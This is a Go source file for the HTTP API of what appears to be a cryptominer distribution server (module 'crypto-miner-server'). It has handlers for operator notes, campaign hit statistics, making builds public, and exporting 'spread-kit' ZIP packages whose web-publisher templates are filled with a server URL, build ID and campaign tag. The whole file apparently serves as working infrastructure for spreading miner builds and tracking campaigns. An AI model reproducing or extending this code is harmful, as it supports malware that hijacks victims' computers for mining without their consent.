package api

import (
	"archive/zip"
	"bytes"
	"encoding/json"
	"io"
	"net/http"
	"os"
	"path/filepath"
	"strings"
	"sync"
	"time"

	dbpkg "crypto-miner-server/internal/db"

	"github.com/go-chi/chi/v5"
)

// SpreadHandler covers Emberwake notes, campaign stats, and spread-kit ZIP export.
type SpreadHandler struct {
	db          *dbpkg.Database
	dataDir     string
	projectRoot string
	wsHub       *WSHub
	notesMu     sync.RWMutex
}

func NewSpreadHandler(database *dbpkg.Database, dataDir, projectRoot string, wsHub *WSHub) *SpreadHandler {
	return &SpreadHandler{db: database, dataDir: dataDir, projectRoot: projectRoot, wsHub: wsHub}
}

func (h *SpreadHandler) notesPath() string {
	return filepath.Join(h.dataDir, "emberwake-notes.json")
}

type emberwakeNotes struct {
	Content   string `json:"content"`
	UpdatedAt string `json:"updated_at"`
	UpdatedBy string `json:"updated_by"`
}

func (h *SpreadHandler) readNotes() emberwakeNotes {
	h.notesMu.RLock()
	defer h.notesMu.RUnlock()
	data, err := os.ReadFile(h.notesPath())
	if err != nil {
		return emberwakeNotes{Content: "", UpdatedAt: "", UpdatedBy: ""}
	}
	var n emberwakeNotes
	if json.Unmarshal(data, &n) != nil {
		return emberwakeNotes{}
	}
	return n
}

func (h *SpreadHandler) writeNotes(n emberwakeNotes) error {
	h.notesMu.Lock()
	defer h.notesMu.Unlock()
	data, err := json.MarshalIndent(n, "", "  ")
	if err != nil {
		return err
	}
	return os.WriteFile(h.notesPath(), data, 0644)
}

// GET /api/v1/emberwake/notes
func (h *SpreadHandler) GetNotes(w http.ResponseWriter, r *http.Request) {
	writeJSON(w, h.readNotes())
}

// PUT /api/v1/emberwake/notes
func (h *SpreadHandler) PutNotes(w http.ResponseWriter, r *http.Request) {
	var body struct {
		Content string `json:"content"`
	}
	if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
		http.Error(w, "invalid JSON", http.StatusBadRequest)
		return
	}
	n := emberwakeNotes{
		Content:   body.Content,
		UpdatedAt: time.Now().UTC().Format(time.RFC3339),
		UpdatedBy: AuthUsername(r),
	}
	if err := h.writeNotes(n); err != nil {
		http.Error(w, err.Error(), http.StatusInternalServerError)
		return
	}
	if h.wsHub != nil {
		h.wsHub.BroadcastEmberwakeNotes(n)
	}
	writeJSON(w, n)
}

// GET /api/v1/emberwake/campaigns
func (h *SpreadHandler) GetCampaigns(w http.ResponseWriter, r *http.Request) {
	hits, err := h.db.ListCampaignHits(50)
	if err != nil {
		http.Error(w, err.Error(), http.StatusInternalServerError)
		return
	}
	if hits == nil {
		hits = []dbpkg.CampaignHitSummary{}
	}
	writeJSON(w, map[string]interface{}{"campaigns": hits})
}

type spreadKitExportRequest struct {
	BuildID   string `json:"build_id"`
	ServerURL string `json:"server_url"`
	Campaign  string `json:"campaign"`
}

// POST /api/v1/builder/spread-kit-export
func (h *SpreadHandler) ExportSpreadKit(w http.ResponseWriter, r *http.Request) {
	var req spreadKitExportRequest
	if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
		http.Error(w, "invalid JSON", http.StatusBadRequest)
		return
	}
	req.BuildID = strings.TrimSpace(req.BuildID)
	req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
	req.Campaign = strings.TrimSpace(req.Campaign)
	if req.ServerURL == "" {
		http.Error(w, "server_url required", http.StatusBadRequest)
		return
	}

	templateDir := filepath.Join(h.projectRoot, "spread-kit-web-publisher")
	if _, err := os.Stat(templateDir); err != nil {
		http.Error(w, "spread-kit-web-publisher templates not found", http.StatusNotFound)
		return
	}

	var qparts []string
	if req.BuildID != "" {
		qparts = append(qparts, "pin="+req.BuildID)
	}
	if req.Campaign != "" {
		qparts = append(qparts, "c="+req.Campaign)
	}
	querySuffix := ""
	getQuerySuffix := ""
	if len(qparts) > 0 {
		joined := strings.Join(qparts, "&")
		querySuffix = "?" + joined
		getQuerySuffix = "&" + joined
	}
	repl := map[string]string{
		"{{SERVER_URL}}":       req.ServerURL,
		"{{BUILD_ID}}":         req.BuildID,
		"{{CAMPAIGN}}":         req.Campaign,
		"{{QUERY_SUFFIX}}":     querySuffix,
		"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
		"{{CAMPAIGN_QUERY}}":   querySuffix,
		"{{PIN_QUERY}}":        "",
	}

	var buf bytes.Buffer
	zw := zip.NewWriter(&buf)
	err := filepath.Walk(templateDir, func(path string, info os.FileInfo, err error) error {
		if err != nil || info.IsDir() {
			return err
		}
		rel, err := filepath.Rel(templateDir, path)
		if err != nil {
			return err
		}
		rel = filepath.ToSlash(rel)
		data, err := os.ReadFile(path)
		if err != nil {
			return err
		}
		content := string(data)
		for k, v := range repl {
			content = strings.ReplaceAll(content, k, v)
		}
		w, err := zw.Create(rel)
		if err != nil {
			return err
		}
		_, err = io.WriteString(w, content)
		return err
	})
	if err != nil {
		http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
		return
	}
	if err := zw.Close(); err != nil {
		http.Error(w, err.Error(), http.StatusInternalServerError)
		return
	}

	filename := "emberwake-spread-kit.zip"
	if req.Campaign != "" {
		filename = "emberwake-" + req.Campaign + ".zip"
	}
	w.Header().Set("Content-Type", "application/zip")
	w.Header().Set("Content-Disposition", `attachment; filename="`+filename+`"`)
	w.Write(buf.Bytes())
}

// PUT /api/v1/builds/{id}/public
func (h *SpreadHandler) SetBuildPublic(w http.ResponseWriter, r *http.Request) {
	id := chi.URLParam(r, "id")
	var body struct {
		Public bool `json:"public"`
	}
	if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
		http.Error(w, "invalid JSON", http.StatusBadRequest)
		return
	}
	if err := h.db.SetBuildPublic(id, body.Public); err != nil {
		http.Error(w, err.Error(), http.StatusInternalServerError)
		return
	}
	writeJSON(w, map[string]interface{}{"ok": true, "id": id, "public": body.Public})
}